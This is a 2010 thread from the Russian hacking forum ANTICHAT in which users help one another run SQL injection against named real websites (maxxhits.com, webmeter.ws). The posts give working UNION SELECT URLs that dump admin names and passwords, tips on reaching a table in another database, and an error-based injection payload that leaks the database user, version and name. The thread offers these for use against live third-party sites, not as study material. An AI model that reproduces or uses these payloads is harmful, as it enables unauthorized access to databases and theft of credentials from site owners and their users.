ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
11.08.2010, 04:25
|
|
Познающий
Регистрация: 19.08.2009
Сообщений: 68
Провел на форуме:
2159875
Репутация:
446
|
|
Konqi, можешь помочь?
|
|
|
11.08.2010, 04:27
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Electr0n
Electr0n said:
Konqi
, можешь помочь?
в чем помочь? я же сказал нельзя писать имя таблицы в таком виде, пиши так как есть
|
|
|
|
11.08.2010, 04:36
|
|
Познающий
Регистрация: 19.08.2009
Сообщений: 68
Провел на форуме:
2159875
Репутация:
446
|
|
Konqi,
Я сделал так первым делом:
Код:
Code:
http://www.maxxhits.com/index.php?phr=Shopping&cid=14&id=-5+/*!UnIoN+SeLeCt*/+1,group_cOnCaT(name,0x3a,password),3,4,5,6,7+from+admin--
то же самое... не работает
|
|
|
|
11.08.2010, 04:41
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Electr0n
Electr0n said:
Konqi
,
Я сделал так первым делом:
Код:
Code:
http://www.maxxhits.com/index.php?phr=Shopping&cid=14&id=-5+/*!UnIoN+SeLeCt*/+1,group_cOnCaT(name,0x3a,password),3,4,5,6,7+from+admin--
то же самое... не работает http://www.maxxhits.com/index.php?phr=Shopping&cid=14&id=-5+/*!UnIoN+SeLeCt*/+1,group_cOnCaT(name,0x3a,password),3,4,5,6,7+from +swizzel_maxxhitsads.admin--
|
|
|
|
11.08.2010, 04:48
|
|
Познающий
Регистрация: 19.08.2009
Сообщений: 68
Провел на форуме:
2159875
Репутация:
446
|
|
Konqi, там же просто админ был... почему swizzel_maxxhitsads.admin?
|
|
|
|
11.08.2010, 04:52
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Electr0n
Electr0n said:
Konqi
, там же просто админ был... почему swizzel_maxxhitsads.admin?
таблица находится в другой базе
|
|
|
|
11.08.2010, 04:59
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666
Репутация:
439
|
|
Konqi, выводишь базы через SELECT schema_name или SELECT distinct() ?
|
|
|
|
11.08.2010, 04:59
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от BrainDeaD
BrainDeaD said:
Konqi, выводишь базы через SELECT schema_name или SELECT distinct() ?
table_schema
|
|
|
|
11.08.2010, 14:19
|
|
Новичок
Регистрация: 12.03.2010
Сообщений: 7
Провел на форуме:
38329
Репутация:
0
|
|
i use order by 1 and no error and page load normally
but
http://www.webmeter.ws/webstats.php?user=291035+union+select+1--
The used SELECT statements have a different number of columns
|
|
|
|
11.08.2010, 15:58
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от linuxkernal
linuxkernal said:
i use order by 1 and no error and page load normally
but
http://www.webmeter.ws/webstats.php?user=291035+union+select+1--
The used SELECT statements have a different number of columns
http://www.webmeter.ws/webstats.php?user=291035+or+(1,1)=(select+count(0) ,concat((select+concat_ws(concat(char(32),char(58) ,char(32)),user(),version(),database(),@@version_c ompile_os)+from+information_schema.tables+limit+0, 1),floor(rand(0)*2))from(information_schema.tables )+group+by+2)--+
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
